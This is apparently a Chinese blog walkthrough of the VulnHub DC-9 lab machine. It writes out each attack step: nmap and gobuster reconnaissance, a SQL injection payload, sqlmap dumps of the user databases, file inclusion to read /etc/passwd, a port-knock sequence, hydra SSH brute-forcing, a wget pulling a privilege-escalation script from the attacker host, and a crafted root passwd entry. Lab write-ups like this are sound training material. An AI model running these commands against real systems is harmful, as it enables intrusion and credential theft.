『VulnHub系列』DC: 9-Walkthrough

靶机地址

难度:中等

靶机发布日期:2019年12月29日

在这里插入图片描述

靶机描述:DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • gobuster
  • sqlmap
  • hydra

0x00、信息收集

靶机IP:192.168.56.102

nmap -sn 192.168.56.0/24

在这里插入图片描述

端口和服务

nmap -sS -sV -T5 -A -p- 192.168.56.102

在这里插入图片描述

页面、目录枚举

gobuster dir -u http://192.168.56.102 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.txt,.html

在这里插入图片描述

http://192.168.56.102/display.php
列出了所有的用户信息,后续应该是需要根据这些信息获取登录口令和密码。

在这里插入图片描述

http://192.168.56.102/manage.php
应该是后台的登录地址。

在这里插入图片描述

http://192.168.56.102/search.php
搜索页面,可能存在SQLi漏洞。

在这里插入图片描述

0x01、SQLi

手工测试一下搜索页面有没有SQLi注入漏洞

在这里插入图片描述

在这里插入图片描述

使用单引号进行测试,网页上没有报错信息

在这里插入图片描述

直接使用search=Mary' or 1=1 --+进行测试,得到了所有的用户信息。确定了这里存在SQLi漏洞。

在这里插入图片描述

上sqlmap

首先使用burpsuite抓取搜索过程中的POST请求包,保存到一个txt文件中。

在这里插入图片描述

sqlmap -r post.txt --dbs
sqlmap -r post.txt -D users --tables
sqlmap -r post.txt -D users -T UserDetails --columns
sqlmap -r post.txt -D users -T UserDetails --dump
sqlmap -r post.txt -D Staff --tables
sqlmap -r post.txt -D Staff -T Users --columns

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

最终得到账户口令:admin/transorbital1

登录后台,看到一个提示:File does not exist。猜测可能存在文件读取或LFI。

在这里插入图片描述

经过测试发现,可以查看/etc/passwd

在这里插入图片描述

在这里插入图片描述

由于之前已经从数据库中获取到了一些用户名和密码,结合/etc/passwd中的内容,所以尝试一下“撞库”……

在这里插入图片描述

在这里插入图片描述

尝试使用Hydra爆破SSH,结果提示连接被拒绝……

在这里插入图片描述

下面是第一个转折点

为什么会得到这样的提示?之前使用nmap发现靶机上运行了SSH服务(port:22),但是状态是filtered因为靶机使用了knockd进行防护,详情参考下方链接中的文章:

简单来说,当使用了knockd之后,需要依次输入端口敲门序列(如,7000,8000,9000),防火墙才允许我们访问22端口。而端口敲门序列可以在/etc/knockd.conf配置文件中得到。

在这里插入图片描述

在kali上安装knockd,然后使用通过knock 192.168.56.102 7469 8475 9842命令执行端口敲门操作。使用hydra进行密码猜解,得到两组账户口令,joeyt/Passw0rdjanitor/Ilovepeepee

在这里插入图片描述

0x02、权限提升

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

使用joeyt用户登录靶机,执行过常规提权操作之后,没有发现可利用的地方。

接着使用janitor用户登录靶机,在该用户目录下发现密码列表,使用hydra进行爆破之后,得到第三组账户密码fredf/B4-Tru3-001。之后执行过常规提权操作之后,依然没有发现可利用的地方。

在这里插入图片描述

按照作者这个套路,怕是要把所有用户的密码都获取一遍哦……

使用fredf用户登录靶机,查找sudo权限命令,发现/opt/devstuff/dist/test/test能够以root权限执行。

sudo -l

在这里插入图片描述

查看test.py脚本的内容

在这里插入图片描述

openssl passwd -1 -salt abcdx ins1ght
echo 'ins1ght:$1$abcdx$W3FeE9dd2V39cxZDUachm.:0:0:ins1ght:/root:/bin/bash' > /tmp/passwd

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0x03、后记

之后查看了一下welcome.php的内容,发现这里的漏洞是LFI,但是日志文件www-data用户是没有权限读取的。

$file = 'contact-info.php';
$show_errors = $_SESSION['display_errors'];

if ($show_errors == 'yes') {
        if(file_exists($file)) {
                include($file);
        } else {
                echo "File does not exist" . "<br />";
                $file = $_GET['file'];
                include('directory/' . $file);
        }
} else {

}

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.

发布了41 篇原创文章 · 获赞 14 · 访问量 7895

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/103977331